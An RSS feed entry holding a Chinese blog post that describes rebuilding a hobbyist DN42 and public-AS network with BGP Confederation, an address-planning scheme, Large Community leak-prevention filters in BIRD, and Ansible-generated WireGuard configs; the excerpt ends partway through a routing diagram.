<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>悠笙の开发日记</title><description>记录开发、网络与日常折腾</description><link>https://blog.iyoroy.cn/</link><language>zh_CN</language><item><title>DN42&amp;OneManISP - 联邦, 自动化, IPAM 与 Overlay Network</title><link>https://blog.iyoroy.cn/posts/309/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/309/</guid><description>重构同时承载 DN42 与公网流量的内网，用 BGP 联邦、IPAM 和 Large Community 管理路由，再通过节点元数据与 Ansible 生成 WireGuard、BIRD 配置。</description><pubDate>Fri, 24 Jul 2026 10:56:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文不详细展开代码实现, 仅记录内网架构设计过程和自动化实现思路. 若需要参考代码/配置文件, 可参阅 &lt;a href=&quot;https://github.com/iYoRoy-Network/bird2-config&quot;&gt;iYoRoy-Network/bird2-config: BIRD2 Configuration for iYoRoy Network (AS4242422024, AS205369)&lt;/a&gt;. 仓库包含较多的 AI 生成代码.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;本文仅借用 Underlay/Overlay 的逻辑分层概念（基础层/业务层），特指地址角色的分离，不涉及 VXLAN/GRE 等隧道封装技术。&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;对整个内网架构进行了一次重构, 原本按“DN42 / IANA / WireGuard / BIRD 配置文件”水平切开的网络, 改造成一套按网络意图组织的基础设施. 最终设计可以概括为:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 WireGuard 承载节点间 underlay transport;&lt;/li&gt;
&lt;li&gt;用 BGP Confederation 替代 OSPF / full-mesh iBGP, 作为内部路由骨干;&lt;/li&gt;
&lt;li&gt;用 Underlay / Overlay 分离节点身份和服务地址;&lt;/li&gt;
&lt;li&gt;用 Tier / Region / Node ID / Token 自动派生 AS、loopback 和 link-local;&lt;/li&gt;
&lt;li&gt;用 BGP Large Community 表达路由来源、传播范围和导出策略;&lt;/li&gt;
&lt;li&gt;用 Ansible 把高层 peer intent 编译成 WireGuard + BIRD + interface 配置并自动下发.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;在这两个系列之前的一些文章中, 我们已经成功运营起了 DN42 AS 和 IANA AS, 并且同一套基础设施同时承载着两张网的流量. 在先前的 &lt;a href=&quot;https://blog.iyoroy.cn/archives/208/&quot;&gt;DN42&amp;amp;OneManISP - 共存环境下的OSPF源地址故障排除 - 悠笙の开发日记&lt;/a&gt; 中, 对于这两张网已经有了一个初步的拆分和隔离, 但是随着节点的增多, 手动维护这一坨东西的 WireGuard 和 BIRD 配置文件已经变得越来越复杂, 而且公网节点之间也需要互联与互相 IP Transit, 因此最终狠下心来打算对这一整套内网进行一次彻底的重构.&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;h2&gt;旧架构的问题&lt;/h2&gt;
&lt;p&gt;重构之前, 各个节点之间的 DN42 路由是相互导通的, 使用 OSPF over WireGuard 作为 IGP, 在此基础上使用 Full-Mesh iBGP 来在各个边界路由器之间传递完整路由信息; 对于IANA 流量, 各个节点之间完全隔离, 每个节点单独广播自己的 /48 IANA IPv6 Prefix.&lt;/p&gt;
&lt;p&gt;总结出来就是:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WireGuard 负责节点间隧道;&lt;/li&gt;
&lt;li&gt;OSPF over WireGuard 负责 IGP;&lt;/li&gt;
&lt;li&gt;DN42 边界路由器之间再跑 full-mesh iBGP;&lt;/li&gt;
&lt;li&gt;IANA 节点基本各自独立广播自己的公网前缀.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个架构在节点少的时候很好用, 但节点多起来之后问题开始明显:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WireGuard、OSPF、BIRD 配置需要分别维护;&lt;/li&gt;
&lt;li&gt;新增节点需要同时改多个地方, 容易漏;&lt;/li&gt;
&lt;li&gt;DN42 和 IANA 的路由策略互相影响, 但配置上又是分散的;&lt;/li&gt;
&lt;li&gt;IANA prefix 的跨 PoP 调度不够自然;&lt;/li&gt;
&lt;li&gt;有些节点只是转发节点, 却仍然被迫拥有 overlay 身份;&lt;/li&gt;
&lt;li&gt;源地址选择、路由泄漏、内部地址暴露都变得越来越难控制.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;设计目标与 BGP Confederation&lt;/h2&gt;
&lt;p&gt;这次重构主要希望达成的几个目标:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;节点加入要简单: 最好只需要描述节点身份和 peer 关系;&lt;/li&gt;
&lt;li&gt;DN42 / IANA / 内网骨干要能共享基础设施, 但策略上互相隔离;&lt;/li&gt;
&lt;li&gt;IP 地址应该是可以调度的资源, 而不是节点的固定身份;&lt;/li&gt;
&lt;li&gt;内部拓扑不应该泄漏到外部 BGP peer;&lt;/li&gt;
&lt;li&gt;配置应该由声明式数据生成, 而不是手写大量重复 WireGuard/BIRD session;&lt;/li&gt;
&lt;li&gt;部署流程自动化&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;同时还有其他的一些比较细碎的需求:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;部分 IANA 节点希望能承载其他节点的 IP Transit, 用 IANA PoP 来为其他节点广播公网 IP&lt;/li&gt;
&lt;li&gt;当前 IANA AS 是&lt;a href=&quot;https://leziblog.com/&quot;&gt;たのしい&lt;/a&gt;和我共同在维护, 我们之间需要达成统一的协调, 部分基础设施需要互相 Transit 以及调控路由&lt;/li&gt;
&lt;li&gt;我们只有一个 44Net IPv4 /24 (Sponsored by たのしい), 要播的话所有节点都需要 iBGP 互联和 IGP, 否则只能一个 PoP 使用&lt;/li&gt;
&lt;li&gt;IANA AS 需要承接下游&lt;/li&gt;
&lt;li&gt;IANA PoP 之间需要路由调优&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;先前的 IANA IPv6 Prefix 分配规则遵循的是 &lt;strong&gt;大洲 3 bits&lt;/strong&gt; + &lt;strong&gt;地区 3 bits&lt;/strong&gt; + &lt;strong&gt;同地区多节点 2 bits&lt;/strong&gt;, 由一个完整的 /40 拆出来若干 /48, 但是因为某些上游限制播出前缀数量, 再加上这样碎片化的前缀不利于做 IPAM, 因此我们打算最终合并对外广播只详细到大洲层面, 其次走内部 iBGP 路由来处理更加详细的部分.&lt;/p&gt;
&lt;p&gt;たのしい那边的内网结构是 BGP Confederation, 用的是手动模拟的方案.&lt;/p&gt;
&lt;p&gt;其实这样分析下来内网的架构就可以很轻松的定下来了, 最符合需求的就是把内网也切换成 BGP Confederation, 然后利用 BGP as IGP 的理念, 在联邦内广播 /32 和 /128 来处理内部路由. 同时, 因为联邦避免了传统 iBGP 水平分割的特性, 所以联邦不需要严格 Full-Mesh, 也不需要单独起 iBGP, 非常的去中心化啊xD&lt;/p&gt;
&lt;p&gt;同时, BGP Confederation 可以很轻松的和たのしい那边的基础设施合并, 只需要我们两边都将对方的内部 AS 视作联邦 AS 处理即可.&lt;/p&gt;
&lt;p&gt;这个方案还有一个好处, 因为实际上我们之间的基础设施包含关系是这样的:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph 
    subgraph 4242423377 Infrastructure
        3377_DN42_PoP[DN42 PoP]
        3377_IANA_PoP[IANA PoP]
    end
    subgraph 4242422024 Infrastructure
        2024_DN42_PoP[DN42 PoP]
        2024_IANA_PoP[IANA PoP]
    end
    3377_IANA_PoP &amp;lt;==跨基础设施联邦==&amp;gt; 2024_IANA_PoP
    3377_DN42_PoP &amp;lt;--&amp;gt; DN42 &amp;lt;--&amp;gt; 2024_DN42_PoP
    3377_IANA_PoP &amp;lt;--&amp;gt; IANA &amp;lt;--&amp;gt; 2024_IANA_PoP

    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们之间的 DN42 PoP 和 Transit 是隔离的, 但是 IANA PoP 和 Transit 又是互通的, 在 BGP Confederation 场景下, 可以利用过滤器 + BGP (Large) Community 来对路由来源进行隔离的同时互通 IANA 之间的 Traffic Engineering 意图, 实现同一套标准两份基础设施通用.&lt;/p&gt;
&lt;h2&gt;Overlay 与 IPAM&lt;/h2&gt;
&lt;p&gt;在旧设计里, 一个节点通常同时承担两种身份:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;它是网络中的一个路由器;&lt;/li&gt;
&lt;li&gt;它也是 DN42 / IANA 中可以被访问的服务地址持有者.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;重构之后, 我决定把这两种身份拆开:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Underlay: 节点作为路由器的身份, 用于内部互联、下一跳、隧道和转发;&lt;/li&gt;
&lt;li&gt;Overlay: 节点对外提供服务或承接流量时使用的 DN42 / IANA 地址.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样, 一个节点可以只参与转发而没有 DN42 IPv4; 也可以在需要时临时宣告某个 overlay /32 或 /128.&lt;/p&gt;
&lt;p&gt;实际应用场景下, 我的 DN42 段地址不算很充裕, 当初注册的是 /28, 只有 16 个可用地址. 有些节点比如 IEPL 之类的隧道节点或者 IX 节点, 它们只作转发作用, 不需要承载服务, 不需要被外部连接, 因此理论上并不需要为其分配独立可访问的 DN42/IANA 地址.&lt;/p&gt;
&lt;p&gt;再加上, 前面我们已经打算将内网切换成 BGP Confederation, 基于此套配置, 我们可以将原本 DN42 + IANA 这样水平分割的网络结构重新规划, 改成 Underlay + Overlay 的垂直划分, DN42 和 IANA 的地址/流量作为上层 Overlay Network 的负载, 下层 Underlay Network 用作节点间底层通讯和转发的基础设施. 在这种情形下, IP 地址变成了一种可以被在内网里轻松调度的资源而非和节点绑定的唯一 ID.&lt;/p&gt;
&lt;p&gt;这样的优势很明显:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;节省稀缺地址资源: 转发节点可以只拥有 underlay 身份, 不必分配 DN42 IPv4 或公网地址;&lt;/li&gt;
&lt;li&gt;Anycast 与地址迁移: Overlay 地址变成可以通过 BGP 调度的资源, 不再强绑定某台机器;&lt;/li&gt;
&lt;li&gt;隐藏转发节点: 纯转发节点不需要暴露全局可达地址, 外部更难直接探测内部拓扑;&lt;/li&gt;
&lt;li&gt;新节点入网简单: 新节点先加入 underlay, 需要承载业务时再分配 overlay 地址;&lt;/li&gt;
&lt;li&gt;优雅 Transit 交付: IANA PoP 可以通过内部 confederation 把客户前缀或服务地址投递到其他节点.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;设计&lt;/h1&gt;
&lt;p&gt;综上所述, 最终设计了这样一套 IPAM 机制和自动化流程.&lt;/p&gt;
&lt;p&gt;每个节点拥有一些基本的元数据:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tier: 指代当前节点用途, 如用作骨干网, 接入 IX, 或是作为网内节点&lt;/li&gt;
&lt;li&gt;Region: 节点所在大洲区域&lt;/li&gt;
&lt;li&gt;ID: 同区域下该节点ID&lt;/li&gt;
&lt;li&gt;Token: 给该节点分配的一个随机 16bit 字符串, 在 IPv6 下给节点作为唯一 ID 使用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于 Tier 和 Region, 编写了几张表格作为数据来源:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tier&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Backbone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;IX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Backbone + IX Mixed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Node&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Region&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Reserved&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Asia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Europe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Africa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;North America&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;South America&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Oceania&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Antarctica&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;联邦 AS: 4220240000 - 4220249999&lt;/h4&gt;
&lt;p&gt;分配规则:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;422024{tier}{region}{node_id:02d}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;tier&lt;/code&gt; 指代节点用途, &lt;code&gt;region&lt;/code&gt; 指代节点所在区域, 最后两位 &lt;code&gt;node_id&lt;/code&gt; 用于区分同区域内的不同节点.&lt;/p&gt;
&lt;h4&gt;Underlay IPAM&lt;/h4&gt;
&lt;p&gt;IPv4 Prefix: 100.64.0.0/16&lt;br /&gt;
分配规则:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;100.64.{tier*10 + region}.{node_id}/32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv6 Prefix: fd18:3e15:61d0:ffff::/64&lt;br /&gt;
分配规则:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fd18:3e15:61d0:ffff:{tier}:{region}::{node_token}/128
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为了简化自动化流程, 我打算将 WireGuard 隧道之间的 Link-Local 地址也接入自动化管理, 利用上述 Tier, Region, Token 生成, 由自动化脚本生成 WireGuard 配置并自动配置隧道和联邦 BGP Session.&lt;br /&gt;
Link-Local 分配规则也大体上沿用普通 IPv6 的规则:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fe80::2024:{tier}:{region}:{node_token}/64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样, 每个节点只需要为其指派元数据便可以按照上述规则自动生成内网联邦 AS 和地址.&lt;/p&gt;
&lt;h4&gt;Overlay IPAM&lt;/h4&gt;
&lt;p&gt;DN42 IPv4 部分就手动指派了, 这部分存在一些历史遗留架构, 修改需要合并到官方 Registry, 因此就打算手动指派.&lt;br /&gt;
Underlay 的 IPv6 本身是 DN42 可达的, 如果还要分配其他 DN42 IPv6 直接按需广播即可.&lt;/p&gt;
&lt;p&gt;对于 IANA IPv6, 目前的设计格式是先按照最初提出的规则计算大洲 /43, 比如亚洲为:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2a14:7583:f220::/43
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再按照地区计算出 /46, 比如香港地区 HKG:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2a14:7583:f224::/46
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着将从 /46 到 /112 全部置零, 最后的 16bits 填入节点 Token 作为节点的 IANA IPv6 地址. 比如我的某台香港地区骨干网节点:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2a14:7583:f224::7d89/128
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Community 隔离机制&lt;/h4&gt;
&lt;p&gt;在这套架构里, BGP Large Community 实际上就是一条路由在不同模块和基础设施之间传递的元数据信息和控制信息. 基于这些元数据, 我们在向不同外部对等体导出路由的时候就能判断:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它属于 DN42 还是 IANA?&lt;/li&gt;
&lt;li&gt;它是本地生成、下游带来、peer 学到, 还是 upstream 学到?&lt;/li&gt;
&lt;li&gt;它能不能导出到别的 AS?&lt;/li&gt;
&lt;li&gt;它是不是 underlay-only?&lt;/li&gt;
&lt;li&gt;这条路由需不需要 prepend as?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;举个具体的例子, 比如用第一位标识路由来源/目标是 DN42 还是 IANA, 允许发往 DN42 的路由全部会被打上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(4242422024, 1, 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同理, 发往 IANA 的路由全部会被打上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(205369, 1, 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在各个 Protocol 中, 这一项作为总开关, 控制是否应当导出. IANA 的上游导出过滤器:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template bgp iana_upstream_v6 {
	...
	
    ipv6 {
		...
        import filter {
            if !iana_filter_default_check() then reject;  # 基础检查
            remove_confederation_as();                    # 移除 confederation as, 防止外部 peer 恶意携带内部 as
            remove_private_community();                   # 移除私有 community, 防止外部 peer 恶意操纵内部路由
            iana_upstream_add_community();                # 为所有来自 IANA 的路由打上允许在 IANA 基础设施广播的 community
            accept;
        };
        export filter {
            if !iana_filter_default_check() then reject;     # 基础检查
            if !iana_upstream_check_community() then reject; # 检查 community, 是否是发往 IANA 的路由/是否携带了 no-advertise/no-export 等
            remove_confederation_as();                       # 移除 confederation as
            remove_private_community();                      # 移除私有 community
            accept;
        };
		...
    };
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;iana_filter_default_check()&lt;/code&gt; 用于检查前缀长度, ROA, 是否是默认路由等比较琐碎的内容:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function iana_filter_default_check(){
    if net ~ [::/0] then return false;
    if net.len &amp;gt; 48 then return false;
    if bgp_large_community ~ [(IANA_OWNAS,1,1)] &amp;amp;&amp;amp; is_self_iana_v6() then return true;
    if roa_check(iana_roa_v6, net, bgp_path.last) = ROA_INVALID then return false;
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;remove_confederation_as()&lt;/code&gt;, 顾名思义, 移除联邦内部 AS:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function remove_confederation_as() {
    bgp_path.delete([4220240000..4220249999]); # 4242422024 Infrastructure
    bgp_path.delete([4233770000..4233779999]); # 4242423377 Infrastructure
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;remove_private_community()&lt;/code&gt;, 顾名思义, 移除内部 Community. 这部分目前实施的很粗糙, 后续需要详细细化, 因为部分 Community 应当对下游开放, 使其可以通过 Community 来传递路由意图, 做一些优化, 比如 prepend AS path, 可用于路由调优或者流量工程:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function remove_private_community(){
    bgp_large_community.delete([(4242422024, *, *)]);
    bgp_large_community.delete([(205369, *, *)]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;iana_upstream_add_community()&lt;/code&gt;, 为来自上游的路由全都打上允许在 IANA 基础设施流通的 Community 以及路由来源标识:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function iana_upstream_add_community(){
    bgp_large_community.add((205369,1,1));
    bgp_large_community.add((205369,2,102));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中, &lt;code&gt;(205369,2,102)&lt;/code&gt; 标识该路由来自于上游. 路由来源分为三种, &lt;strong&gt;上游&lt;/strong&gt;, &lt;strong&gt;对等体&lt;/strong&gt;, &lt;strong&gt;下游/客户/自己(看作客户)&lt;/strong&gt;. 对这三种不同类型的 BGP Session, 导出的路由通常不相同:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对上游, 我们需要让上游帮我们广播我们自己的和我们下游的段, 因此需要向上游导出所有来自&lt;strong&gt;下游&lt;/strong&gt;的前缀&lt;/li&gt;
&lt;li&gt;对下游, 我们需要为其提供网络服务, 需要向其导出我们知道的所有路由, 即来自&lt;strong&gt;上游, 对等体, 下游&lt;/strong&gt;的路由&lt;/li&gt;
&lt;li&gt;对对等体, 对等体之间的连接仅仅是为了双方互相访问彼此的网络, 因此不能互相导出互相的上游或者对等体, 不然就变成免费 Transit/Tunnel 了, 因此只导出来自&lt;strong&gt;下游&lt;/strong&gt;的路由
在当前内网中与之对应的, 来自对等体的会被打上&lt;code&gt;(205369,2,101)&lt;/code&gt;, 来自下游的会被打上&lt;code&gt;(205369,2,100)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;iana_upstream_check_community()&lt;/code&gt; 会检查路由的 Community, 基于上述原则判断其是否应该被广播给上游:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function iana_upstream_check_community(){
    if !(bgp_large_community ~ [(205369,1,1)]) then return false;      # 没被允许在 IANA 基础设施广播, 则拒绝
    if bgp_large_community ~ [(205369,65535,65282)] then return false; # no-advertise
    if bgp_large_community ~ [(205369,65535,65281)] then return false; # no-export
    if bgp_community ~ [(65535,65281)] then reject;                    # no-advertise
    if bgp_community ~ [(65535,65282)] then reject;                    # no-export

    if bgp_large_community ~ [(205369,2,0)] then return false;         # 来自内网, 该 community 被用于标识路由来自内网, 不应该往外广播, 此处拒绝广播
    if bgp_large_community ~ [(205369,2,101)] then return false;       # 来自对等体, 拒绝广播
    if bgp_large_community ~ [(205369,2,102)] then return false;       # 来自上游, 拒绝广播

    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同理, 对于 DN42 也是类似的检查机制. 基于这套机制, 可以很轻松的隔离 DN42 和 IANA 两张网.&lt;/p&gt;
&lt;p&gt;上述只是一个大致的解释, 更细的 community 设计和各类出口策略其实还可以继续展开, 但那就会变成另一篇路由策略详解了.&lt;/p&gt;
&lt;p&gt;这部分其实大量参考来源于&lt;a href=&quot;https://t.me/as4242423377/26&quot;&gt;たのしい的BGP Communities&lt;/a&gt;, 毕竟两者基础设施需要互通, 很多 Community 规范基本上都是照搬过来的. 在此感谢たのしい大佬提供的思路~&lt;/p&gt;
&lt;h1&gt;路由生命周期&lt;/h1&gt;
&lt;h2&gt;第一阶段: Ingress / Import&lt;/h2&gt;
&lt;p&gt;所有外部路由进入系统时, 先经过对应 domain 的 import filter.
IANA 有三类来源:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;upstream;&lt;/li&gt;
&lt;li&gt;peer / IX;&lt;/li&gt;
&lt;li&gt;downstream.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DN42 也有两类主要来源:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;普通 transit / eBGP peer;&lt;/li&gt;
&lt;li&gt;IX / route server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;除此之外, 本机也会产生一些 route:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;underlay loopback;&lt;/li&gt;
&lt;li&gt;DN42 overlay address;&lt;/li&gt;
&lt;li&gt;IANA own / anycast address.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些路由在进入联邦时会被打上 Large Community. 后面的所有 filter 都需要据此调控.&lt;/p&gt;
&lt;h2&gt;第二阶段: Core / Intra Confederation&lt;/h2&gt;
&lt;p&gt;进入 BIRD RIB 之后, 会通过内部的 Intra BGP Confederation 在节点之间传播.  此处 Intra Confederation 不止单纯为了处理连通性, 更是为了让内部路由也能携带策略信息.&lt;/p&gt;
&lt;p&gt;先前的 OSPF 很适合解决:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个 loopback 在哪里?&lt;/li&gt;
&lt;li&gt;这个 next-hop 怎么到?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是它无法传递 AS 信息和策略意图, 比如:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这条路由是 IANA peer 学来的, 不能再导给另一个 peer;&lt;/li&gt;
&lt;li&gt;这条路由是 DN42 underlay-only, 绝不能泄漏给 eBGP;&lt;/li&gt;
&lt;li&gt;这条路由是 downstream customer prefix, 可以导给 upstream;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些都是 BGP policy 的强项. 所以内部骨干从 OSPF / full-mesh iBGP 转向 confederation-style BGP, 本质上是把内部控制平面升级成了“可携带策略的控制平面”.&lt;/p&gt;
&lt;h2&gt;第三阶段: Egress / Export&lt;/h2&gt;
&lt;p&gt;一条路由要离开基础设施时, 会再次经过 export filter. 此处根据 community 可以系统性的防止路由泄露并进行宏观调控如 AS prepend.&lt;/p&gt;
&lt;p&gt;比如:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DN42 underlay route 带有 underlay-only community, 所以不会被导出到 DN42 eBGP;&lt;/li&gt;
&lt;li&gt;IANA upstream 学来的路由不会再导给另一个 upstream;&lt;/li&gt;
&lt;li&gt;IANA peer 学来的路由不会再导给另一个 peer;&lt;/li&gt;
&lt;li&gt;DN42 IX 学来的路由不会再导回 IX;&lt;/li&gt;
&lt;li&gt;NO_EXPORT / NO_ADVERTISE 会被尊重;&lt;/li&gt;
&lt;li&gt;对外导出前会删除内部 confederation AS 和 private community.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其实总结下来就是这样一张图:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart LR
    classDef ext fill:#eef7ff,stroke:#5b8def,stroke-width:1px;
    classDef local fill:#f5f5f5,stroke:#888,stroke-width:1px;
    classDef filter fill:#fff3d6,stroke:#d19a00,stroke-width:1px;
    classDef core fill:#eaf8ea,stroke:#3c9b43,stroke-width:1px;
    classDef export fill:#fdecec,stroke:#d45a5a,stroke-width:1px;

    subgraph SRC[&quot;路由来源&quot;]
        direction TB
        IU[&quot;IANA上游&amp;lt;br/&amp;gt;传输/全量路由&quot;]
        IP[&quot;IANA对等 / IX&quot;]
        ID[&quot;IANA下游&amp;lt;br/&amp;gt;客户前缀&quot;]
        DT[&quot;DN42传输 / eBGP对等&quot;]
        DX[&quot;DN42 IX / 路由服务器&quot;]
        LU[&quot;本地底层环回&amp;lt;br/&amp;gt;100.64.x.y / fd18:...:ffff&quot;]
        LO[&quot;本地覆盖地址&amp;lt;br/&amp;gt;DN42自有 / IANA自有 / 任播&quot;]
    end

    subgraph INFRA[&quot;Bird2配置基础设施&quot;]
        direction LR

        subgraph IMPORT[&quot;入口 / 导入过滤器&quot;]
            direction TB
            IUF[&quot;IANA上游导入&amp;lt;br/&amp;gt;标记: 205369:1:1&amp;lt;br/&amp;gt;标记: 205369:2:102&quot;]
            IPF[&quot;IANA对等导入&amp;lt;br/&amp;gt;标记: 205369:1:1&amp;lt;br/&amp;gt;标记: 205369:2:101&quot;]
            IDF[&quot;IANA下游导入&amp;lt;br/&amp;gt;AS-SET / 路径检查&amp;lt;br/&amp;gt;标记: 205369:2:100&quot;]
            DTF[&quot;DN42 eBGP导入&amp;lt;br/&amp;gt;前缀 / ROA / 自身检查&amp;lt;br/&amp;gt;标记: 4242422024:2:101/102&quot;]
            DXF[&quot;DN42 IX导入&amp;lt;br/&amp;gt;前缀 / ROA检查&amp;lt;br/&amp;gt;标记: 4242422024:2:101&quot;]
            STF[&quot;静态起源&amp;lt;br/&amp;gt;底层/覆盖路由标记&quot;]
        end

        META[&quot;Large Community 元数据层&amp;lt;br/&amp;gt;域 + 来源 + 作用域&amp;lt;br/&amp;gt;内部路由API&quot;]

        subgraph CORE[&quot;内部控制平面&quot;]
            direction TB
            RIB[&quot;BIRD路由信息库&quot;]
            CONFED[&quot;BGP联邦内部&amp;lt;br/&amp;gt;成员AS: 422024xxxx&amp;lt;br/&amp;gt;策略: full / default / iana_full / no_iana&quot;]
            WG[&quot;WireGuard底层传输&amp;lt;br/&amp;gt;链路本地下一跳&amp;lt;br/&amp;gt;fwmark策略路由&quot;]
            UNDERLAY[&quot;net_underlay&amp;lt;br/&amp;gt;环回 + 表1142&quot;]
            OVERLAY[&quot;net_overlay&amp;lt;br/&amp;gt;DN42 / IANA服务地址&quot;]
        end

        subgraph EGRESS[&quot;出口 / 导出过滤器&quot;]
            direction TB
            DEXP[&quot;DN42 eBGP导出&amp;lt;br/&amp;gt;拒绝 Underlay 路由&amp;lt;br/&amp;gt;遵守no-export/no-advertise&quot;]
            DXEXP[&quot;DN42 IX导出&amp;lt;br/&amp;gt;拒绝从对等/传输学习的路由&quot;]
            IEXP[&quot;IANA上游/对等导出&amp;lt;br/&amp;gt;仅导出本地/下游&amp;lt;br/&amp;gt;拒绝从对等/上游学习的&quot;]
            DOWNEXP[&quot;IANA下游导出&amp;lt;br/&amp;gt;策略: default / own_only / reject&quot;]
            KEXP[&quot;内核导出&amp;lt;br/&amp;gt;按 Community 设置krt_prefsrc&quot;]
            CLEAN[&quot;外部导出前清理&amp;lt;br/&amp;gt;移除联邦 AS&amp;lt;br/&amp;gt;移除私有 Community&quot;]
        end
    end

    subgraph DST[&quot;路由去向&quot;]
        direction TB
        OD[&quot;DN42对等 / 传输&quot;]
        OX[&quot;DN42 IX&quot;]
